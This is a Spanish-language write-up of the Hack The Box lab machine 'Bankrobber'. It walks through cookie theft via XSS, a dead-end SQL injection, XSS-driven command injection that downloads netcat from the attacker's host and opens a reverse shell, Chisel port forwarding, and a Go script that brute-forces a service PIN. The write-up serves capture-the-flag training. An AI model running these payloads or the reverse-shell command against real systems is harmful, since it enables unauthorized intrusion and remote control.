Post

Write Up - Hack The Box - Bankrobber

Write Up - Hack The Box - Bankrobber

Screenshot0

Resumen de la máquina

Esta máquina presenta una aplicación web bancaria vulnerabile a ataques como robo de cookies a traves de XSS, inyecciones SQL, CSRF + RCE a traves de XSS. Finalmente es posible escalar de privilegios mediante la explotación de un binario con fuerza bruta.

Reconocimiento

Screenshot1

Screenshot1.1


Enumeración y explotación de vulnerabilidades:

XSS

Conseguimos la cookie del administrador (que contiene el nombre de usuario y la contraseña en Base64) a través de un XSS en la funcionalidad de enviar transacciones.

Screenshot2

Screenshot3

Screenshot4


SQL INJECTION

En este apartado nos encontramos con una inyección SQL que resultó ser una especie de “rabbit hole”, ya que no llegamos a ninguna parte útil. Tras realizar algo más de enumeración decidí avanzar por otra vía, por lo que obviare las capturas de pantalla utilizadas aquí.

Destaco que podemos enumerar a otro usuario (gio), las bases de datos disponibles (descubrimos que hay phpmyadmin), podemos dumpear las tablas pero nada útil.


XSS + CSRF + RCE

Screenshot5

En la misma página hay otra funcionalidad que permite ejecutar comandos, específicamente el comando dir. Este comando solo puede ser ejecutado desde local por motivos de seguridad.

Para poder efectuar un RCE volveremos a utilizar el XSS del administrador obtenido anteriormente. Nuestro objetivo será enviar netcat a la máquina víctima para entablar una reverse shell.

Modificamos el script .js de la siguiente forma:

1
2
3
4
5
6
7
var req1 = new XMLHttpRequest();
var cmd =
  'cmd=dir|powershell -c "iwr -uri http://10.10.15.135/nc.exe -Outfile %temp%\\nc.exe; %temp%\\nc.exe -e cmd 10.10.15.135 9999';

req1.open("POST", "http://localhost/admin/backdoorchecker.php", true);
req1.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req1.send(cmd);

Screenshot6

Obtenemos acceso al sistema como Cortin y localizamos la primera flag en su directorio de escritorio.

Escalada de privilegios

Encontramos un binario sospechoso (que no tenemos permisos de ejecución)

Tambien descubrimos que esta corriendo en un puerto que solo es visible desde la maquina interna (puerto 910)

Con netcat nos conectamos a dicho puerto para ejecutar el binario

Screenshot7

Nos encontramos con un programa que nos pide un PIN de 4 dígitos que desconocemos.

Screenshot8

Para obtener el PIN, primero realizaremos un port forwarding del puerto 910 a nuestra máquina con Chisel.

Primero pasamos Chisel a la máquina víctima:

Screenshot9

Después levantamos Chisel en nuestra máquina como servidor y en la máquina víctima como cliente.

1
2
3
./chisel server --reverse -p 8888
chisel.exe client 10.10.15.135:8888 R:9010:127.0.0.1:910
verificar con lsof -i:910

Para obtenemos el PIN correcto será necesito usar fuerza bruta y en mi caso lo hare con un script en Go:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
package main

import (
    "bufio"
    "fmt"
    "net"
    "strings"
    "sync"
)

func try(addr, pin string) bool {
    conn, _ := net.Dial("tcp", addr)
    if conn == nil {
        return false
    }
    defer conn.Close()

    r := bufio.NewReader(conn)
    for {
        line, _ := r.ReadString(' ')
        if strings.Contains(line, "[$]") {
            break
        }
    }

    fmt.Fprintf(conn, "%s\n", pin)
    res, _ := r.ReadString('\n')
    res = strings.ToLower(res)

    if res == "" || strings.Contains(res, "invalid") {
        return false
    }
    return true
}

func main() {
    addr := "127.0.0.1:9010"
    var wg sync.WaitGroup
    pins := make(chan string)

    for i := 0; i < 10; i++ {
        wg.Add(1)
        go func() {
            defer wg.Done()
            for p := range pins {
                if try(addr, p) {
                    fmt.Printf("\n[+] PIN: %s\n", p)
                }
            }
        }()
    }

    for i := 0; i <= 9999; i++ {
        pins <- fmt.Sprintf("%04d", i)
    }
    close(pins)
    wg.Wait()
}

El output del script es 0021

This post is licensed under CC BY 4.0 by the author.